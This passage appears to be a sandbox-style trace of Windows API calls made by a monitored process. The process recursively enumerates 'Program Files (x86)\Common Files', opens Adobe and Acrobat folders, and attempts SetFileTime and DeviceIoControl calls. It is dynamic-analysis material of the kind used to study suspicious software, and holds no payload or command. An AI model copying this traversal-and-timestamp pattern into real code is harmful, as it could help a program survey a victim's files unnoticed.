FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa00f75b0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa00f75b0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.056] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf1a9e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8386f760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8386f760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0085.056] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a8b21f0, ftCreationTime.dwHighDateTime=0x1d56ea7, ftLastAccessTime.dwLowDateTime=0x307952c0, ftLastAccessTime.dwHighDateTime=0x1d55201, ftLastWriteTime.dwLowDateTime=0x307952c0, ftLastWriteTime.dwHighDateTime=0x1d55201, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="aldelo.exe", cAlternateFileName="")) returned 1 [0085.056] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0085.056] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0085.056] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0085.057] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0085.057] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0085.057] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0085.057] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc82b2590, ftCreationTime.dwHighDateTime=0x1d59701, ftLastAccessTime.dwLowDateTime=0x82de3430, ftLastAccessTime.dwHighDateTime=0x1d590d2, ftLastWriteTime.dwLowDateTime=0x82de3430, ftLastWriteTime.dwHighDateTime=0x1d590d2, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="creditservice.exe", cAlternateFileName="")) returned 1 [0085.057] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0085.058] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0085.058] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0085.058] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0085.058] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0085.059] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0085.059] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x801ae160, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x801d42c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x801d42c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 1 [0085.059] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xec355540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xec355540, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft shared", cAlternateFileName="")) returned 1 [0085.059] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8d1336, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8d1336, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0085.059] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8d1336, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8d1336, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpeechEngines", cAlternateFileName="")) returned 1 [0085.059] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9c11cf80, ftLastAccessTime.dwHighDateTime=0x1d301bd, ftLastWriteTime.dwLowDateTime=0x9c11cf80, ftLastWriteTime.dwHighDateTime=0x1d301bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1 [0085.059] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9c11cf80, ftLastAccessTime.dwHighDateTime=0x1d301bd, ftLastWriteTime.dwLowDateTime=0x9c11cf80, ftLastWriteTime.dwHighDateTime=0x1d301bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 0 [0085.059] GetLastError () returned 0x12 [0085.059] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e9080 [0085.059] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0085.059] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa00f75b0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa00f75b0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.059] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf1a9e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8386f760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8386f760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0085.059] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0085.059] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe" (normalized: "c:\\program files (x86)\\common files\\adobe"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf1a9e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8386f760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8386f760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0085.059] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe" (normalized: "c:\\program files (x86)\\common files\\adobe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0085.060] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0085.060] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0085.060] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0085.060] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0085.060] NtClose (Handle=0x124) returned 0x0 [0085.060] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0085.060] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0085.061] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0085.061] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d0c8 [0085.061] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9000 [0085.061] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf1a9e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8386f760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8386f760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.061] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf1a9e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cf1a9e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cf1a9e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1 [0085.061] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8386f760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8386f760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8386f760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARM", cAlternateFileName="")) returned 1 [0085.061] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HelpCfg", cAlternateFileName="")) returned 1 [0085.061] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HelpCfg", cAlternateFileName="")) returned 0 [0085.061] GetLastError () returned 0x12 [0085.061] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9100 [0085.062] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0085.062] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf1a9e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8386f760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8386f760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.062] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf1a9e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cf1a9e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cf1a9e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1 [0085.062] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0085.062] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf1a9e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cf1a9e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cf1a9e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0085.062] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0085.062] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0085.062] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0085.063] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0085.063] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0085.063] NtClose (Handle=0x124) returned 0x0 [0085.063] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0085.063] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0085.063] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0085.064] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0085.064] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9000 [0085.064] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf1a9e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cf1a9e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cf1a9e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.064] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf1a9e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f24da0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ActiveX", cAlternateFileName="")) returned 1 [0085.064] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf1a9e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f24da0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ActiveX", cAlternateFileName="")) returned 0 [0085.064] GetLastError () returned 0x12 [0085.064] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9040 [0085.064] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0085.064] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf1a9e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cf1a9e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cf1a9e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.064] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf1a9e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f24da0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ActiveX", cAlternateFileName="")) returned 1 [0085.064] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0085.065] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf1a9e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f24da0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x3000)) returned 1 [0085.065] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0085.065] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0085.065] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0085.065] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0085.065] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0085.065] NtClose (Handle=0x124) returned 0x0 [0085.066] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0085.066] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0085.066] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d1d8 [0085.066] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d260 [0085.066] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9000 [0085.067] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf1a9e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f24da0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.697] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d912600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xfda0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroIEHelper.dll", cAlternateFileName="")) returned 1 [0085.697] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d2e8 [0085.698] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d2e8) returned 1 [0085.698] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d2e8 [0085.698] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d2e8) returned 1 [0085.698] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d2e8 [0085.699] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d2e8) returned 1 [0085.699] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d95e8c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xf3a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroIEHelperShim.dll", cAlternateFileName="")) returned 1 [0085.699] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d2e8 [0085.699] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d2e8) returned 1 [0085.699] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d2e8 [0085.700] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d2e8) returned 1 [0085.700] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d2e8 [0085.700] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d2e8) returned 1 [0085.700] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d984a20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.CAT", cAlternateFileName="")) returned 1 [0085.700] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d2e8 [0085.701] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d2e8) returned 1 [0085.701] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d2e8 [0085.701] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d2e8) returned 1 [0085.701] RtlAllocateHeap 